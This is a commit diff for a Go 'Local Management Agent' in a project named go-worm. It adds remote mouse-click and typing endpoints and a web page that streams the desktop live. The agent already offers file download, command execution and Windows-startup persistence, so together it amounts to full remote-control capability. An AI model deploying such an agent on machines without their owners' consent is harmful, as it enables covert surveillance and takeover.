Add input handling functionality to the agent. Implement API endpoints for mouse click and text input, and update the web interface to support video capture and interaction features.
This commit is contained in:
@@ -14,6 +14,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
)
|
||||
|
||||
@@ -42,6 +43,7 @@ func New() (*Agent, error) {
|
||||
return nil, err
|
||||
}
|
||||
a.guard = guard
|
||||
input.EnableDPIAwareness()
|
||||
return a, nil
|
||||
}
|
||||
|
||||
@@ -63,6 +65,8 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
|
||||
a.server = &http.Server{
|
||||
Addr: a.addr,
|
||||
|
||||
+96
-20
@@ -2,7 +2,6 @@ package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
@@ -19,6 +18,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
@@ -40,12 +40,14 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
|
||||
"paths": map[string]any{
|
||||
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
|
||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
|
||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -187,27 +189,101 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
}
|
||||
images, err := screenshot.Capture(format, quality)
|
||||
monitor := 0
|
||||
if raw := r.URL.Query().Get("monitor"); raw != "" {
|
||||
var err error
|
||||
monitor, err = strconv.Atoi(raw)
|
||||
if err != nil || monitor < 0 {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater")
|
||||
return
|
||||
}
|
||||
}
|
||||
frame, err := screenshot.CaptureMonitor(monitor, format, quality)
|
||||
if err != nil {
|
||||
if errors.Is(err, screenshot.ErrMonitorNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("screenshot: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
|
||||
return
|
||||
}
|
||||
if len(images) == 1 {
|
||||
w.Header().Set("Content-Type", images[0].ContentType)
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
|
||||
_, _ = w.Write(images[0].Data)
|
||||
w.Header().Set("Content-Type", frame.ContentType)
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
|
||||
w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left))
|
||||
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
||||
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
||||
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
|
||||
for i, item := range images {
|
||||
response.Images = append(response.Images, models.ScreenshotImage{
|
||||
Monitor: i,
|
||||
ContentType: item.ContentType,
|
||||
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
|
||||
})
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var request models.ClickRequest
|
||||
decoder := json.NewDecoder(r.Body)
|
||||
decoder.DisallowUnknownFields()
|
||||
if err := decoder.Decode(&request); err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, response)
|
||||
left, top, width, height, err := screenshot.MonitorBounds(request.Monitor)
|
||||
if err != nil {
|
||||
if errors.Is(err, screenshot.ErrMonitorNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteError(w, http.StatusBadRequest, "monitor not found")
|
||||
return
|
||||
}
|
||||
if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor")
|
||||
return
|
||||
}
|
||||
if err := input.Click(request.X, request.Y, request.Button); err != nil {
|
||||
if errors.Is(err, input.ErrBadButton) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("click: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not click")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y})
|
||||
}
|
||||
|
||||
func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var request models.TextRequest
|
||||
decoder := json.NewDecoder(r.Body)
|
||||
decoder.DisallowUnknownFields()
|
||||
if err := decoder.Decode(&request); err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "body must contain text")
|
||||
return
|
||||
}
|
||||
if request.Text == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error())
|
||||
return
|
||||
}
|
||||
if len(request.Text) > config.MaxInputText {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "text is too long")
|
||||
return
|
||||
}
|
||||
if err := input.TypeText(request.Text); err != nil {
|
||||
helpers.Log.Printf("text: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)})
|
||||
}
|
||||
|
||||
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
@@ -11,8 +11,14 @@
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
const videoCanvas = document.getElementById("video-canvas");
|
||||
const videoMeta = document.getElementById("video-meta");
|
||||
const videoStart = document.getElementById("video-start");
|
||||
const videoStop = document.getElementById("video-stop");
|
||||
|
||||
let objectUrls = [];
|
||||
let videoRunning = false;
|
||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||
|
||||
function showError(message) {
|
||||
errorEl.textContent = message || "";
|
||||
@@ -198,6 +204,92 @@
|
||||
loadStatus().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
function clamp(value, min, max) {
|
||||
const n = Number(value);
|
||||
if (!Number.isFinite(n)) return min;
|
||||
return Math.min(max, Math.max(min, Math.round(n)));
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
async function startVideo() {
|
||||
if (videoRunning) return;
|
||||
videoRunning = true;
|
||||
videoStart.disabled = true;
|
||||
videoStop.disabled = false;
|
||||
while (videoRunning) {
|
||||
const started = Date.now();
|
||||
try {
|
||||
await pullVideoFrame();
|
||||
} catch (err) {
|
||||
showError(err.message);
|
||||
}
|
||||
if (!videoRunning) break;
|
||||
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
|
||||
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
|
||||
}
|
||||
}
|
||||
|
||||
function stopVideo() {
|
||||
videoRunning = false;
|
||||
videoStart.disabled = false;
|
||||
videoStop.disabled = true;
|
||||
}
|
||||
|
||||
async function pullVideoFrame() {
|
||||
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
||||
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
|
||||
lastMonitor = {
|
||||
left: Number(res.headers.get("X-Monitor-Left") || 0),
|
||||
top: Number(res.headers.get("X-Monitor-Top") || 0),
|
||||
width: Number(res.headers.get("X-Monitor-Width") || 0),
|
||||
height: Number(res.headers.get("X-Monitor-Height") || 0),
|
||||
};
|
||||
const blob = await res.blob();
|
||||
const bitmap = await createImageBitmap(blob);
|
||||
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
|
||||
videoCanvas.width = bitmap.width;
|
||||
videoCanvas.height = bitmap.height;
|
||||
}
|
||||
const ctx = videoCanvas.getContext("2d");
|
||||
ctx.drawImage(bitmap, 0, 0);
|
||||
const width = bitmap.width;
|
||||
const height = bitmap.height;
|
||||
bitmap.close();
|
||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
|
||||
}
|
||||
|
||||
async function sendClick(event, button) {
|
||||
if (!lastMonitor.width || !lastMonitor.height) return;
|
||||
const rect = videoCanvas.getBoundingClientRect();
|
||||
if (!rect.width || !rect.height) return;
|
||||
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
|
||||
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
|
||||
const x = lastMonitor.left + bitmapX;
|
||||
const y = lastMonitor.top + bitmapY;
|
||||
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||
await api("/api/v1/input/click", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ x, y, button, monitor }),
|
||||
});
|
||||
}
|
||||
|
||||
async function sendVideoText() {
|
||||
const field = document.getElementById("video-text");
|
||||
const text = field.value;
|
||||
if (!text) return;
|
||||
await api("/api/v1/input/text", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ text }),
|
||||
});
|
||||
field.value = "";
|
||||
}
|
||||
|
||||
async function runCommand() {
|
||||
const command = document.getElementById("exec-command").value.trim();
|
||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||
@@ -219,6 +311,9 @@
|
||||
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
|
||||
button.classList.add("active");
|
||||
document.getElementById(button.dataset.tab).classList.add("active");
|
||||
if (button.dataset.tab !== "video") {
|
||||
stopVideo();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -240,6 +335,26 @@
|
||||
document.getElementById("shot-capture").addEventListener("click", () => {
|
||||
captureScreen().catch((err) => showError(err.message));
|
||||
});
|
||||
videoStart.addEventListener("click", () => {
|
||||
startVideo().catch((err) => showError(err.message));
|
||||
});
|
||||
videoStop.addEventListener("click", () => stopVideo());
|
||||
videoCanvas.addEventListener("click", (event) => {
|
||||
sendClick(event, "left").catch((err) => showError(err.message));
|
||||
});
|
||||
videoCanvas.addEventListener("contextmenu", (event) => {
|
||||
event.preventDefault();
|
||||
sendClick(event, "right").catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("video-send").addEventListener("click", () => {
|
||||
sendVideoText().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("video-text").addEventListener("keydown", (event) => {
|
||||
if (event.key === "Enter") {
|
||||
event.preventDefault();
|
||||
sendVideoText().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
document.getElementById("exec-run").addEventListener("click", () => {
|
||||
runCommand().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
@@ -114,6 +114,15 @@
|
||||
.shots { display: flex; flex-wrap: wrap; gap: 0.75rem; }
|
||||
.shots figure { margin: 0; }
|
||||
.shots img { max-width: 100%; height: auto; border: 1px solid var(--line); border-radius: 8px; }
|
||||
#video-canvas {
|
||||
width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
border: 1px solid var(--line);
|
||||
border-radius: 8px;
|
||||
cursor: crosshair;
|
||||
background: #111;
|
||||
}
|
||||
.error {
|
||||
display: none;
|
||||
max-width: 1100px;
|
||||
@@ -134,6 +143,7 @@
|
||||
<button data-tab="status" class="active">Status</button>
|
||||
<button data-tab="files">Files</button>
|
||||
<button data-tab="screenshot">Screenshot</button>
|
||||
<button data-tab="video">Video</button>
|
||||
<button data-tab="exec">Command</button>
|
||||
</nav>
|
||||
<main>
|
||||
@@ -178,6 +188,27 @@
|
||||
</div>
|
||||
<div id="shot-gallery" class="shots"></div>
|
||||
</section>
|
||||
<section id="video" class="panel">
|
||||
<div class="row">
|
||||
<button id="video-start" class="primary" type="button">Start</button>
|
||||
<button id="video-stop" type="button" disabled>Stop</button>
|
||||
<label>FPS
|
||||
<input id="video-fps" type="number" min="1" max="15" value="5" style="width:4.5rem">
|
||||
</label>
|
||||
<label>Quality
|
||||
<input id="video-quality" type="number" min="1" max="100" value="40" style="width:5rem">
|
||||
</label>
|
||||
<label>Monitor
|
||||
<input id="video-monitor" type="number" min="0" value="0" style="width:4.5rem">
|
||||
</label>
|
||||
</div>
|
||||
<canvas id="video-canvas" width="1280" height="720"></canvas>
|
||||
<p id="video-meta" class="meta"></p>
|
||||
<div class="row" style="margin-top:0.75rem">
|
||||
<input id="video-text" type="text" placeholder="Type text for the focused field">
|
||||
<button id="video-send" class="primary" type="button">Send</button>
|
||||
</div>
|
||||
</section>
|
||||
<section id="exec" class="panel">
|
||||
<div class="row">
|
||||
<textarea id="exec-command" placeholder="ipconfig /all"></textarea>
|
||||
|
||||
Reference in New Issue
Block a user